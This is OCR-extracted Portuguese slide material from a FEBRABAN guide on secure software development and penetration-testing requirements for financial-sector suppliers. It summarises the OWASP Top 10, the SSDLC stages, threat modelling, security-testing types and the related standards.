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Pilar que olha para fornecedores do sistema financeiro e auxilia na melhoria
de sua postura de seguranca cibernética.

FEBRABAN
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2024 — Acdes preventivas conjuntas

= Guia de boas praticas de seguranca da informacao para prestadores de servi¢o do sistema
financeiro

» SessOes/workshops de conscientizacao

= Métodos e boas praticas de gestéao de risco em terceiros

Motivadores para o desenvolvimento do Guia

Importancia da seguranca cibernética para os terceiros

Ampla gama de frameworks disponiveis

Grande quantidade de assessments de diferentes contratantes

= Conscientizar sobre os temas abordados nos assessments




Guia de Boas Praticas FEBRABAN

= 16 Mddulos

Introdugao
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Sistemas adequados de detecgio de intrusos

sdo instalados e testados em intervalos E importante que os perimetros de um local que
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testadas juntamente com as paredes.

Barreiras fisicas sao importantes para impedir o
acesso fisico ndo autorizado e a contaminagao do
meio ambiente.




Contexto - TPRM (Third Party Risk Management)

Os terceiros sdo uma parte importante do sucesso de um negocio. Organizacdes de todos os portes estdo recorrendo cada vez mais a terceiros por sua

FEBRABAN

inovacédo, seu crescimento e sua transformacédo digital. Contudo, trabalhar com terceiros pode introduzir riscos ao negocio, principalmente se eles
tiverem acesso a dados confidenciais/sensiveis, poderdo ser um risco a seguranca. A gestdo de riscos de terceiros permite as organizacdes
identificar e gerenciar riscos na cadeia de suprimentos. Dessa forma, € possivel que as organizacdes tomem decisdes informadas sobre os
riscos e reduzam os riscos apresentados pelos fornecedores a um nivel aceitavel.

Principais desafios e
preocupagdes:

Instituicdo

Terceiros e Prestadores de Servigos

I

Fornecedores realizam e
suportam processos e
atividades importantes as
InstituicBes.

Fornecedores que, nem
sempre, possuem 0 mesmo
nivel de seguranca e
controles internos.

Fornecedores séo alvos de
fraudadores para o roubo
de informacdes e tentativas
de intruséo (incidentes
cibernéticos).

Alto volume de terceiros
operando pelas Institui¢des.
Além disso, ao longo do
tempo, manter uma gestao
adequada se torna um
grande desafio, assim como
monitorar os terceiros ao
longo do relacionamento.

Risco relacionado a
quarteirizagdo de
servigos

Beneficios:

Visibilidade dos relacionamentos com terceiros

Aprimorar a gestéo de riscos de seguranca

Reducéo de potenciais interrupcdo dos negdcios

Aprimorar a postura de seguranca

Mitigar riscos de seguranca



Nossa jornada

o

3 reunibes técnicas
com a squad para
identificacao de
aspectos de riscos

Planejamento do
desenvolvimento do
Guia de Boas Praticas

10 agendas técnicas
com a squad para
refino e validagéo

dos médulos do Guia

Desenvolvimento de 16
modulos do Guia de
Boas Praticas, de
acordo com normas e
frameworks de
seguranca

FEBRABAN

©

Consolidagao do Guia
de Boas Préticas e
publicacéo da verséo
oficial

Orquestracao dos
workshops
(internos e

externos) com os

profissionais do
setor bancério

—

Duracdo média da jornada: 6 meses
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Este material foi elaborado de acordo com as diretrizes do Guia de Desenvolvimento do OWASP, bem como foi considerado os requisitos de seguranca da informacgao
relacionados ao tema de acordo com as normas e frameworks apresentado abaixo:

6.1 Os processos e
mecanismos para desenvolver e
manter sistemas e softwares
seguros sao definidos e
compreendidos.

6.2 O software sob medida e
personalizado sao
desenvolvidos com seguranca.

6.3 Vulnerabilidades de
seguranca sao identificadas e
tratadas.

6.4 Os aplicativos web voltados
para o publico sao protegidos
contra ataques.

6.5 Mudancas em todos o0s

componentes de sistema sao
administradas com seguranca.

3

8.25 Ciclo de vida de
desenvolvimento seguro

8.26 Requisitos de seguranca
do aplicativo

8.27 Arquitetura de sistema
segura e principios de
engenharia

8.28 Codificacdo segura

8.29 Testes de seguranca em
desenvolvimento e aceitagdo

8.30 Desenvolvimento
terceirizado

8.31 Separacdo dos ambientes
de desenvolvimento, teste e
producgédo

16.1 Estabelecer e manter um
processo seguro de
desenvolvimento de aplicagdes

16.8 Separar sistemas de
producdo e ndo producao

16.9 Treinar desenvolvedores
em conceitos de seguranca de
aplicacbes e codificacdo segura
16.10 Aplicar principios de
design seguro em arquiteturas
de aplicacdes

16.12 Implementar verificacdes
de seguranca em nivel de
cédigo

16.14 Conduzir aplicag6es de
modelagem de ameacas

6.11.1.1 Andlise e especificacdo
dos requisitos de seguranca da
informacao

6.11.2.1 Politica de
desenvolvimento seguro

6.11.2.5 Principios para projetar
sistemas seguros

6.11.2.6 Ambiente seguro para
desenvolvimento

6.11.2.7 Desenvolvimento
terceirizado

6.11.2.8 Teste de seguranca do
sistema

PR.PS-06: As praticas seguras
de desenvolvimento de software
sao integradas e seu
desempenho é monitorado
durante todo o ciclo de vida de
desenvolvimento de software
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Contexto Cibernético

Casos Reais de Exposicéo e Vazamento de Dados

OWASP Top 10 Web Application Security Risks

Ciclo de Vida Seguro de Desenvolvimento de Software (SSDLC) e suas etapas

Frameworks e Normas de Referéncia

Requisitos relacionados ao Desenvolvimento Seguro

Relembrando os principais termos e conceitos
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Casos Reails FEBRABAN

Cambridge

Analytica
Facebook Fins de /
/ publicitarios
Vazamento de
dados de 2,5

e SENACON Danos morais
milhdes de

Ari resumido
usuarios P

Multade
R$6.600.000,00

Vazamento de
dados chave de
criptografia

Multa de R$

500.000,00 Indenizacéo de

R$10.000,00

Colaborou com

0s 0rgaos o Multa de R$
responsaveis > 1.500.000,00
[
Nao colaborou
Vazamento com os 6rgaos
responsaveis Outros 6rgdos além da ANPD estdo atuando em casos
de dados dessa  natureza, como PROCON, SENACON,
MINISTERIOS PUBLICOS, ASSOCIACOES e PODER

JUDICIARIO.




OWASP Top 10 Web
Application Security Risks



Os ataques cibernéticos tem como objetivo
controlar, interromper ou destruir um ambiente
tecnologico, estes utilizados pelas organizagbes para
processar e armazenar dados. Estas ameacas também
visam a Interceptacao ou roubo de informacoes

privilegiadas, danificando desta forma a seguranga do
ambiente tecnolégico e Iimpactando os pilares da
Seguranca da Informacdo, ou seja, a integridade,
disponibilidade e confidencialidade.

Neste sentido, o OWASP Top 10 Web Application
Security Risks elenca os 10 principais riscos de
segurancade aplicativos da web.

Ambiente
Tecnolégico

Informacéao
Privilegiada

Vulnerabilidade Vulnerabilidade

FEBRABAN

Exemplos de Ataques Cibernéticos

Brute Force Attack Denial of Service

Browser Hijacker Fake Antivirus Malware

Man in the Middle Keylogging

Backdoor Trojan Phishing Emails

Auto Run Worm Ransomware

Adv. Persistent Threat Social Engineering
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Riscos Cibernéticos de aplicativos WEB

@

Ambiente
Tecnolégico

Hacker

Vulnerabilidade Vulnerabilidade

¥ & §

Ataques Cibernéticos

A01:2021 Broken Access Control

O controle de acesso envolve a utilizagcdo de mecanismos de protecdo que podem ser categorizados como: Autenticacao;
Autorizacdo e Prestacdo de contas. O Controle de Acesso Quebrado ocorre quando o produto restringe incorretamente o acesso a
um recurso de um ator ndo autorizado ou mal-intencionado. Quando um controle de seguranga falha ou ndo é aplicado, os
invasores podem comprometer a seguranga do produto obtendo escalacéo de privilégios, acessando informag¢des confidenciais,
executando comandos, entre outras agdes.

Informacgao
Privilegiada

A02:2021 Cryptographic Failures

Falhas criptogréaficas ocorrem quando o controle de seguranga criptografica € quebrado ou ndo aplicado, e os dados séo expostos a
atores ndo autorizados — maliciosos ou ndo. E importante proteger os dados em repouso e transito, por meio da utilizagéo de
protocolos seguros e fortes.

Brute Force Attack Denial of Service

Browser Hijacker -h (r— Fake Antivirus Malware
Man in the Middle Keylogging

Backdoor Trojan ﬂ\_ _,’- Phishing Emails
Ve m— A03:2021 Injection
Auto Run Worm F @ o, Ransomware 03 O JeCt 0
Adv. persistent Threat @) = y =) @ socia Engincering A falta de validacado e sanitizacdo de entradas (inputs) pode levar a exploragdes de inje¢do. Estas vulnerabilidades ocorrem quando
dados hostis sdo utilizados diretamente na aplicagdo e podem resultar na utilizacdo de dados maliciosos para subverter a aplicacdo
‘ ‘ ‘ Todas as entradas provenientes de fontes ndo confidveis devem ser higienizadas e validadas.
| Awos |
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Riscos Cibernéticos de aplicativos WEB

@

A04:2021 Insecure Design
Ambiente Informacgao E importante que a seguranga seja incorporada aos aplicativos desde o inicio e ndo aplicada posteriormente. A categoria A04
Tecnolégico Privilegiada Insecure Design reconhece isso e sugere que o uso de modelagem de ameacas, padrdes de design seguros e arquiteturas de
referéncia devem ser incorporados nas atividades de design e arquitetura de aplicativos visando mitigar riscos cibernéticos.
e "
Vulnerabilidade Vulnerabilidade

¥ & §

Ataques Cibernéticos

A05:2021 Security Misconfiguration

Sistemas e aplicativos podem ser configuraveis, e essa configuracdo é frequentemente usada para proteger o sistema/aplicativo. Se
as configuragdo forem mal aplicadas, o aplicativo poderd ndo ser mais seguro e, em vez disso, ficard vulneravel a exploragdes

conhecidas.

Brute Force Attack Denial of Service

Browser Hijacker -h (r— Fake Antivirus Malware
Man in the Middle Keylogging

Backdoor Trojan ﬂ\_ _,’- Phishing Emails
— _/; @ :\\ S A06:2021 Vulnerable and Outdated Components
. persistent Threat () = . y =) © social engineering Caso uma dependt_“ancia’vu_lnerével for identificada por um ator malicioso durante a fe_lse de reconhecimento de um ataque, existem
bases de dados disponiveis, como a Exploit Database, que fornecerdo uma descricdo de qualquer exploracdo. Estas bases de
‘ ‘ ‘ dados podem também fornecer scripts e técnicas prontas a utilizar para atacar uma determinada vulnerabilidade, facilitando a
m exploragdo de dependéncias vulneraveis de software de terceiros.
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Riscos Cibernéticos de aplicativos WEB

@

A07:2021 Identification and Authentication Failures
Ambiente Informacgao A confirmacgéo da identidade do utilizador, a autenticagéo e a gest8o de sessdes sdo fundamentais para proteger o sistema ou a
Tecnolégico Privilegiada aplicacdo contra ataques relacionados com a autenticacdo. Referindo-se ao risco AO7 Falhas de identificagdo e autenticagdo, a
autorizacdo pode falhar de vérias formas que frequentemente envolvem outros riscos OWASP Top Ten: controlos de acesso
Hacker quebrados (A01); falha criptografica (A02); palavras-passe predefinidas (AO5); entre outros.
Vulnerabilidade Vulnerabilidade

¥ & §

Ataques Cibernéticos

A08:2021 Software and Data Integrity Failures

As falhas de integridade do software e dos dados estéo relacionadas com o cddigo e as infraestruturas que ndo protegem contra
violacdes de integridade. Trata-se de uma categoria abrangente que descreve, por exemplo, ataques a cadeia de abastecimento,
atualizacdo automatica comprometida e utilizagdo de componentes néo fiaveis.

Brute Force Attack Denial of Service

Browser Hijacker -h (r— Fake Antivirus Malware
Man in the Middle Keylogging

Backdoor Trojan ﬂ\_ _,’- Phishing Emails
— _/; @ :\\ S A09:2021 Security Logging and Monitoring Failures
Adv. persistent Threat (). X y =) © social engineering O registo e o [nonltorarpento ajudam a detectar, escalar e respon_der a v!ola(;()es atlvgs;_sem isso, as V|olalu;_6es ,néo_ serdo
detectadas e ndo poderdo ser adequadamente tratadas. A09 Security Logging and Monitoring Failures lista véarias técnicas de
‘ ‘ ‘ registo e monitoramento que devem ser conhecidas, mas também outras que podem ndo ser tdo comuns; por exemplo, o
m monitoramento da cadeia de fornecimento DevOps pode ser tdo importante como o monitoramento da aplicagdo ou do sistema.




@

Ambiente Informacgao
Tecnolégico Privilegiada
Vulnerabilidade Vulnerabilidade

¥ & §

Ataques Cibernéticos

Brute Force Attack Denial of Service

Browser Hijacker -h (r— Fake Antivirus Malware
Man in the Middle Keylogging

Backdoor Trojan ﬂ; _,’- Phishing Emails

Auto Run Worm JF @ “\ Ransomware

Adv. Persistent Threat k X ' 4 ) Social Engineering
ot ¥ &,
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Riscos Cibernéticos de aplicativos WEB

A10:2021 Server-Side Request Forgery

Referindo-se a A10 Server-Side Request Forgery (SSRF), estas vulnerabilidades podem ocorrer sempre que uma aplicagdo web
buscar um recurso remoto sem validar o URL fornecido pelo utilizador. Estas exploragbes permitem a um atacante coagir a

aplicagdo a enviar um pedido elaborado para um destino inesperado, mesmo quando protegido por uma firewall, VPN ou outro tipo
de lista de controlo de acesso a rede.
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De acordo com o OWASP?, com o crescente numero e sofisticacdo de exploragcdes contra aplicativos ou sistemas, é recomendavel que as organizacdes
adotem o Ciclo de Vida Seguro de Desenvolvimento de Software, ou do inglés, Secure Software Development Lifecycle (SSDLC).

Essa estrutura é destinada ao desenvolvimento de software seguro. Em outras palavras é um conjunto de processos e atividades que as organizacdes seguem para
garantir que seu software seja desenvolvido focado na seguranca.

O objetivo do SSDLC ¢é identificar e mitigar potenciais vulnerabilidades e ameacas de seguranca no processo de desenvolvimento de software, para que o
produto final seja 0 mais seguro possivel. O SSDLC é composto pelas seguintes etapas, conforme demonstrado na representacdo a seguirr.

@ 1. Planejamento

2. Andlise

@ 5. Teste de Integracéo

@ 3. Design

Manutencéo @
\ 6. Manutencgéo

1 A Fundagdo OWASP® trabalha para melhorar a seguranca do software através 41m plem entagao
de seus projetos de software de codigo aberto
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A seguir sdo apresentadas alguns beneficios que a estrutura pode oferecer:

Mitigar as
Aumento da qualidade vulnerabilidades B
do software cibernéticas Reducéao dos custos

de desenvolvimento
e producao

Secure Software

Aprimorar a seguranga Atender as normas,
e minimizar os riscos . Development frameworks e
cibernéticos Lifecycle (SSDLC) reguladores no tema

de seguranca




Algumas maneiras de preparar a organizacao para o desenvolvimento seguro de software incluem:

(@) () (0 (o

Ter uma politica clara que
descreva as expectativas e
0S requisitos para o
desenvolvimento de
software seguro pode ajudar
a garantir que todos os
membros da equipe entendam
a importancia da seguranca e
estejam cientes das etapas
especificas que precisam
tomar para garantir a
seguranca do software.

Fornecer treinamentos e
recursos aos membros da
equipe sobre as melhores
praticas de desenvolvimento
de software seguro pode
ajudar a garantir que eles
sejam capazes de desenvolver
softwares seguros. Isso pode
incluir o fornecimento de
treinamento sobre praticas
de codificac&o seguras,
modelagem de ameacas e
outros tépicos relevantes.

Garantir que o ambiente de
desenvolvimento seja seguro
e segregado dos demais
ambientes pode ajudar a
prevenir violagdes de
seguranca durante 0 processo
de desenvolvimento. Isto pode
incluir a implementacao de
controles como controles de
acesso e gerenciamento de
vulnerabilidades.

Ter um processo seguro de
gerenciamento de mudancas
implementado pode ajudar a
garantir que todas as
alteracdes no software
sejam revisadas e aprovadas
pelas partes apropriadas
antes de serem
implementadas. ISso pode
ajudar a evitar que alteracoes
nao aprovadas possam
introduzir vulnerabilidades
no software.

FEBRABAN
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Os requisitos de seguranca séo declaragcdes de funcionalidade de seguranca que garantem que as diferentes propriedades de seguranca

de uma aplicacdo de software sejam atendidas.

Os requisitos de seguranca definem novos recursos ou acréscimaos aos recursos existentes para resolver um problema de seguranca

especifico ou eliminar potenciais vulnerabilidades.

Os requisitos vém de vérias fontes, sendo trés comuns:

Requisitos relacionados ao Préticas e defeitos de Requisitos regulamentares e
O 1 software que especificam codificagcdo comuns e dados estatutérios

objetivos e expectativas para histéricos que conduzem a

proteger o servigo e os dados vulnerabilidades de segurancga

no centro da aplicagéo da informacéo

Nota: A OWASP fornece projetos que auxiliam na identificacdo de requisitos de seguranca para protecao dos servi¢cos e dados da aplicacdo. O Padrao de Verificacdo de
Seguranca de Aplicativos fornece uma lista de requisitos para desenvolvimento seguro e isso pode ser usado como ponto de partida para os requisitos de seguranca. Além
disso, o Mobile Application Security fornece um conjunto semelhante de requisitos de seguranca padréo para aplicativos moveis.

Exemplos praticas de maturidades relacionadas a Planejamento e Analise:

Baixa Maturidade: O aplicativo/cédigo possui uma API unificada para consulta de dados. Os
usuérios do sistema serdo funcionarios do cliente. O aplicativo precisa ser acessivel pela
internet. A natureza dos dados acessados, os tempos de retencédo, o método de transporte e 0s
métodos de comunicacgdo de back-end ndo sdo considerados.

Alta Maturidade: O desenvolvedor usa um SSDLC maduro, as equipes de engenharia
recebem treinamento de seguranca e uma lista detalhada de requisitos foi desenhada e
verificada pelo cliente.



https://owasp.org/www-project-application-security-verification-standard/
https://owasp.org/www-project-application-security-verification-standard/
https://mas.owasp.org/
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A modelagem de ameacas é uma abordagem estruturada para identificar e priorizar ameacas potenciais a um sistema. Avaliar ameacas
durante a fase de design do desenvolvimento pode economizar recursos significativos, se durante uma fase posterior do codigo for necessaria a

restruturacado para incluir mitigacdes de riscos.

Um documento de modelo de ameaca € um registro do processo de modelagem de ameaca e geralmente inclui:

Uma descricdo/design/modelo do que o
preocupa

Uma lista de suposi¢cdes que podem ser
verificadas ou desafiadas no futuro a medida
gue o cenério de ameacas muda

=
Y

Remediacao/acdes a serem tomadas para
cada ameaca

Formas de validagcdo do modelo e das
vV ameacas, e verificagéo do sucesso das agdes
tomadas

\

de modelagem de ameacas

Documentar como os dados fluem através de
um sistema para identificar onde o sistema
pode ser atacado

=lo
=Qo
=0

a Identificar o maior nimero possivel de
ameacas potenciais ao sistema

Resultados das atividades Sugerir controles de seguranca que podem ser

implementados para reduzir a probabilidade ou
0 impacto de uma ameaca potencial

Exemplos praticas de maturidades relacionadas a modelagem de ameacas:

Baixa Maturidade: Seguindo requisitos vagos de recursos, o design inclui armazenar dados
em cache em um banco de dados local ndo criptografado, utilizando senha fraca. Além disso,
ndo foi realizado verificacdo quanto a seguranca das bibliotecas para o desenvolvimento do
cadigo.

Alta Maturidade: Com base em um modelo de ameaca detalhado definido e atualizado por
meio de cddigo, a equipe decide sobre: Os caches criptografados locais precisam expirar e
serem limpos automaticamente, canais de comunicacdo criptografados e autenticados,
bibliotecas seguras, entre outros.
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A implementacdo concentra-se nos processos e atividades relacionados a como a organizacao constroi e implanta componentes de
softwares, bem como a mitigacao das falhas/vulnerabilidades relacionados. As atividades de implementacdo possuem maior impacto na
rotina dos desenvolvedores, e um objetivo importante da implementacéo é fornecer software que funcione de maneira confiavel e com o
minimo de vulnerabilidades possiveis.

A implementacdo deve incluir praticas de seguranca como: |. Construcdo segura; Il. Implantacdo segura; e lll. Gerenciamento de
vulnerabilidades.

A implementacéo é onde a A implementacgéo utilizara um Grande parte das competéncias de
aplicagdo/sistema comecga atomar método seguro de controle e implementagdo advém da

forma; o codigo-fonte € escrito e 0s armazenamento de cédigo-fonte experiéncia, e ter em conta o que fazer
testes sao criados. Aimplementacéo para atender aos requisitos de e 0 que nao fazer no desenvolvimento
do aplicativo segue um ciclo de vida seguranca do projeto. A equipe de seguro é, por si s6, uma atividade de
de desenvolvimento seguro, com desenvolvimento consultara a conhecimento importante.

seguranca integrada desde o inicio. documentacdo suporte que contém

as melhores préticas, utilizagdo
bibliotecas seguras sempre que
possivel, além de verificar e rastrear
dependéncias externas.

Exemplos praticas de maturidades relacionadas a Implementacao:

Baixa Maturidade: A equipe usa bibliotecas GraphQL prontas para uso, mas as versdes nao | Alta Maturidade: Os membros da equipe tém acesso a documentagéo abrangente e a uma
séo verificadas usando a Auditoria NPM. biblioteca de trechos de cédigo que podem usar para acelerar o desenvolvimento. Os testes
executam um conjunto abrangente de testes, incluindo testes de seguranca, testes de
aceitacao de servigo, bem como testes de regressao.




Introducgéo

O OWASP Go Secure Coding Practices (Go-SCP) € um
conjunto de praticas de codificagdo segura de software
para a linguagem de programagdo Go. O documento
publicado pode ser baixado em varios formatos no repositério
do GitHub.

Exemplos de Préaticas de Codificacdo Segura

O Go-SCP formece exemplos e recomendacdes para ajudar os
programadores a evitar erros e armadilhas comuns, incluindo
exemplos de cddigo em Go que fornecem orientacfes praticas
sobre aimplementacéo das recomendacdes, por exemplo:

* Reducao da superficie de ataque;

* Principio do menor privilégio e minimizagdo de dados;

+ Codificagdo de saida de higienizacdo de dados;

* Autenticacao e gerenciamento de senhas;

+ Gerenciamento de sesséo;

« Controle de acesso;

» Préticas criptogréficas;

« Tratamento e registro de erros;

» Realizar uma analise dos erros de programagao mais
comuns e documentar se estes foram mitigados;

* Entre outros.

FEBRABAN

Porque utilizar?

* As equipes de desenvolvimento geralmente precisam de

ajuda e suporte para obter a seguranca certa para aplicativos
da Web, e parte dessa ajuda vem de diretrizes e praticas
recomendadas de codificagcdo segura. Go-SCP fomece
esta orientacdo para uma ampla variedade de tépicos de
codificacdo segura, além de fornecer exemplos praticos de
codigo para cada pratica de codificacéo.

Como utilizar?

» O publico principal do Guia de praticas de codificagdo Go

Secure sao os desenvolvedores, especialmente aqueles com
experiéncia anterior em outras linguagens de programacao.

Baixe o documento Go-SCP em um dos formatos: PDF, ePub,
DocX e MOBI. Consulte o capitulo do tépico especifico e use
os exemplos de trechos de cddigo Go para obter orientacao
pratica sobre codificacdo segura.



Testes de Seguranca

Novos sistemas, atualizagcdes e novas versdes devem ser
exaustivamente testados e verificados durante os
processos de desenvolvimento. Os testes podem ser
realizados de varias maneiras e dependem muito da
natureza do software, da cadéncia da organizacéo e dos
requisitos regulamentares, entre outros elementos
relevantes. Podem ser realizados testes de SAST (Teste de
Aplicacao Estéatico), DAST (Teste de Aplicacdo Dinamico) e
IAST (Teste de Aplicacao Interativo).

Observacéo: Na representacdo ao lado é possivel entender
as particularidades de cada tipo de teste, bem como alguns
exemplos de ferramentas de mercado que podem ser
considerados para a orquestracéo dos testes.

SAST

Permite que os
desenvolvedores
encontrem
vulnerabilidades de
segurangano cédigo-
fonte do aplicativo no inicio
do ciclo de vida de
desenvolvimento de
software e garante a
conformidade com as
diretrizes e padrdes de
codificacdo segura.

sonarqube\\\

Checkmaxrx
VERACODE

Exemplos praticas de maturidades relacionadas a Implementacao:

DAST

Pode encontrar
vulnerabilidades e
fraquezas de seguranca
em um aplicativo em
execucdao utilizando
técnicas de injecdo de
falhas em um aplicativo,
além destacar problemas de
tempo de execugdo que ndo
podem ser identificados
pela analise estatica.

Burp Suite

Acunetix

by Invicti
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IAST

Criado para suprir as
deficiéncias do SAST e do
DAST combinando
elementos de ambas as
abordagens. O IAST coloca
um agente dentro de um
aplicativo e realiza toda a
sua analise no aplicativo
em tempo real e em
qgualquer lugar no processo
de desenvolvimento.

CC Contrast

SECURITY

SYNOPSYS

Alta Maturidade: Os recursos do aplicativo receberam testes automatizados dinamicos
guando cada um atingiu o preparo, uma equipe de controle de qualidade treinada validou os
requisitos de negocios que envolviam verificacbes de seguranca. Uma equipe de seguranca
realizou um pentest adequado e deu um aval.

Baixa Maturidade: A empresa implantou o sistema em producdo sem testes. Logo depois, 0s
pentests de rotina do cliente descobriram falhas profundas no acesso a dados e servigos de
back-end. O esforco de remediacao foi significativo.
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Neste estagio, o sistema e seus recursos ja devem estar adequadamente projetados, escritos e testados (conforme observamos nas
etapas anteriores do SSDLC). Na etapa de manutencao, a equipe corrige bugs, soluciona problemas do cliente e gerencia as altera¢cdes do
software. Além disso, a equipe monitora a performance geral do sistema, a seguranca e a experiéncia do usuario para identificar novas
formas de melhorar o software existente. A seguir sdo apresentadas exemplos de atividades que fazem parte da etapa de manutencao:

Por meio de uma solucéo de Informacdes sobre

SIEM (Security Information and vulnerabilidades técnicas dos
Event Management) que realiza sistemas de informacdo em

a coleta, monitoramento e uso, devem ser obtidas em
correlacionamento dos tempo habil, com a exposi¢céo
eventos para detectar e da organizacéao a estas

alertar ameacas cibernéticas. vulnerabilidades avaliadas e

tomadas as medidas
apropriadas para lidar com os
riscos associados.

Atualizacbes do sistema por Assegurar um enfoque

meio da gestdo automatizada consistente e efetivo para

de patches, bem como gerenciar os incidentes de
aplicacao de configuracdes seguranca da informacéao,
seguras, por exemplo, incluindo atividades para
baselines CIS. identificar, avaliar, priorizar,

responder, comunicar
incidentes cibernéticos.

Exemplos praticas de maturidades relacionadas a Implementacao:

Baixa Maturidade: Nao ha segregacdo de ambientes, ou seja, no mesmo ambiente é realizado
o desenvolvimento, testes de seguranca e publicacéo do cddigo. Além disso, ndo sao aplicadas
configura¢6es de seguranca de acordo com baselines de seguranga, por exemplo, CIS. Nao é
realizado a coleta e monitoramento dos registros de atividades (logs), desta forma, incidentes
ndo sao detectados e tratados em tempo habil.

Alta Maturidade: O sistema ao migrar do ambientes de controle de qualidade para a
producdo, aplica a configuragdo segura a todos os componentes, por exemplo, baselines de
seguranca. O registro em log de todos os componentes € agregado em SIEM e os alertas que
séo gerados séo correlacionados com demais logs do ambiente. S&o realizados exercicios e
simulacdes de incidentes para aperfeicoamento dos processos internos.

Link — Material de Apoio
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste

frameworks de referéncia no tema:

ISO 27001/27002

NIST CSF

CIS Controls

@nwnsp T T S A @ ereton
) emer Logn_

Integration Sta

OWASP in SDLC

OWASP Application Security Fragmentation

Or how | worried less and stood on the shouiders of giants. - Spyros Gasteratos. Elie Saad

1. The Software Development LifeCycle and You

The Systems Development Lifecycle (SDLC) i often depicted as & 6 part cyclical process where every step builds on top of the
Drevious ones. In a similar fashion, security can be embecded in a SDLC by building on top of previous steps with policies,
control, designs, implementations and tests making sure that the product only performs the functions it was designed to and
nothing more.

However, modern Agile practitioners often find themselves at an impasse, there is  wealth of competing projects, standards
and vendors whe all claim to be the best solution in the fisld.

The following article attempts o provide a long list of Free (a3 in Freedom) and Open Source solutions and frameworks that
worked for us. It spiitinto 6 sections, mapping loosely with the SDLC stages on the diagram below. Each section involves
somewnat exaggerated low and high maturity scenarios of following the approach listed in it. The entire article can be
summarised by the diagram at its end.

Center for
Internet Security”

(© as controls

INTERNATIONAL ISO/IEC
STANDARD 27002

Information security, cybersecurity
and privacy protection — Information
security controls

privie — Mesures de sécurité de linformation

© iso/iec 2022
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material, a seguir sdo apresentados as normas e

OWASP SSDLC

PCI DSS

ISO 27701
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Agora que aprendemos sobre as atividades relacionadas ao processo de desenvolvimento seguro de software, relembre os principais termos e
conceitos apresentados neste material:

OWASP Top 10 Web Application Security Risks: elenca os 10 principais riscos de seguranca de aplicativos da web.

O SSDLC: ciclo de Vida Seguro de Desenvolvimento de Software, ou do inglés, Secure Software Development Lifecycle (SSDLC).

Etapas do SSDLC: 1 Planejamento; 2 Analise; 3 Design; 4 Implementacédo; 5 Testes; e 6 Manutengao

A modelagem de ameacas: € uma abordagem estruturada para identificar e priorizar ameacas potenciais a um sistema. Avaliar ameacas durante a fase
de design do desenvolvimento pode economizar recursos significativos, se durante uma fase posterior do cédigo for necesséria a restruturacdo para incluir
mitigacOes de riscos.

Testes de seguranca: podem ser realizados testes de SAST (Teste de Aplicacdo Estatico), DAST (Teste de Aplicacdo Dinamico) e IAST (Teste de
Aplicagéo Interativo).
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Requisitos — Teste de Invasao

Este material foi elaborado de acordo com as diretrizes do PCI DSS e CIS Controls, bem como foi considerado os requisitos de seguranga da informacao relacionados

ao tema de acordo com as normas e frameworks apresentado abaixo:

PCI DSS CIS Controls ISO 27002 ISO 27701 NIST CSF

11.1 Processos e mecanismos
para testar regularmente a
seguranga de sistemas e redes

sao definidos e compreendidos.

11.3 Vulnerabilidades externas
e internas sao regularmente
identificadas, priorizadas e
tratadas.

11.4 Testes de penetracao
externos e internos séo
realizados regularmente e
vulnerabilidades exploraveis e
fragilidades de seguranca séo
corrigidas.

@

18.1 Estabelecer e manter um
programa de teste de invasao

18.2 Realizar testes de invasao
externos periddicos

18.3 Corrigir as descobertas do
teste de invaséo

18.4 Validar as Medidas de
Seguranca

18.5 Realizar testes de invasao
internos periédicos

¥

8.29 Security testing

¢

6.11.2.8 Teste de seguranca do
sistema

FEBRABAN

9

ID.IM-02: As melhorias sédo
identificadas a partir de testes e
exercicios de seguranca,
incluindo aqueles feitos em
coordenacdo com fornecedores
e terceiros relevantes
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1 I Introducéo

Testes e suas diferencas

Beneficios do teste de invasao

Abordagem do teste de invaséo (visao geral e suas etapas)

Frameworks e normas de referéncia

~N OO O B WO

| Metodologia do teste de invasao

Relembrando os principais termos e definicoes
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Introducao

De acordo com o CIS Controls, uma postura defensiva bem-sucedida requer um programa abrangente de politicas e governanca eficazes, fortes defesas técnicas,
combinadas com a acdo apropriada das pessoas. No entanto, raramente é perfeito. Em um ambiente complexo onde a tecnologia esta em constante evolucao e novas
técnicas dos atacantes aparecem regularmente, as empresas devem testar periodicamente seus controles para identificar fragilidades de seguranca e avaliar
suaresiliéncia. Este teste pode ser da perspectiva de rede externa, rede interna, aplicacdo, sistema ou dispositivo. Pode incluir engenharia social de usuérios ou

desvios de controle de acesso fisico.

Qual a finalidade dos testes de invasao?

Os testes de invasao
podem fornecer

Podem revelar as
fraquezas do
processo, como gestao

percepcoes valiosas e
objetivas sobre a
existéncia de
vulnerabilidades em
ativos corporativos
tecnologicos.

Testar, pelo menos uma
vez ao ano, 0
funcionamento correto
das estratégias de
defesas da empresa.

Demonstrar, de forma

realista, adindmica de

Testar se a empresa um ataque. Geralmente
construiu as defesas para convencer
certas em primeiro os tomadores de

lugar. decisdo das fraquezas

da empresa.

de configuracéao ou
treinamento do usuario
final incompletos
ou inconsistentes.

38



Testes e suas Diferencas

De acordo com o PCI, as vulnerabilidades sdo descobertas continuamente por individuos mal-intencionados, e sendo introduzidas por novos softwares. Os
componentes de sistemas, processos e softwares devem ser testados com frequéncia para garantir que 0os controles de seguranca continuem a proteger
ambientes em constantes mudancas. Os testes podem ser realizados por um recurso interno qualificado ou um terceiro externo qualificado. A seguir sdo

apresentados alguns tipos de teste e suas principais diferencas:

*Foco deste treinamento

Teste de Invasao

* Descrigdo: Simular ataques reais
para avaliar eficacia das medidas
de segurancga, por meio da
exploracao de vulnerabilidades
presentes no ambiente da
empresa.

Objetivo: Avaliar o verdadeiro
impacto das vulnerabilidades no
ambiente de uma empresa.

— o e e e e M e M e M e M e M e M e M e M e M e e e o my,
N o o e e e e o R R R R R R R R R R RS R R R R R R R R R R R e e
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Red Team Exercise

* Descrigdo: Esse tipo de teste é

semelhante aos testes de invasao

em que as vulnerabilidades sao
exploradas; no entanto, a
diferenca é o foco.

Objetivo: Auxiliar a equipe de
seguranga a aprimorar as
capacidades de detecgao e
resposta, e aumentar a resiliéncia
de seus sistemas contra atacantes
maliciosos.

FEBRABAN

Analise de Vulnerabilidades

* Descrigcao: Teste de

vulnerabilidade realizado por meio
de varreduras automatizadas,

incluindo validacdo manual dos
falsos positivos. Esse tipo de teste
visa detectar e classificar possiveis
pontos de fragilidade na
seguranga.

Objetivo: Identificar as
vulnerabilidades presentes no
ambiente de uma empresa.

Op-

7,



Principais Beneficios dos Testes de Invasao rERRARAR

Aumento da maturidade em seguranca
cibernética dos sistemas, redes e aplicacdes
das organizagoes.

Conformidade com normas e
regulamentacoes.

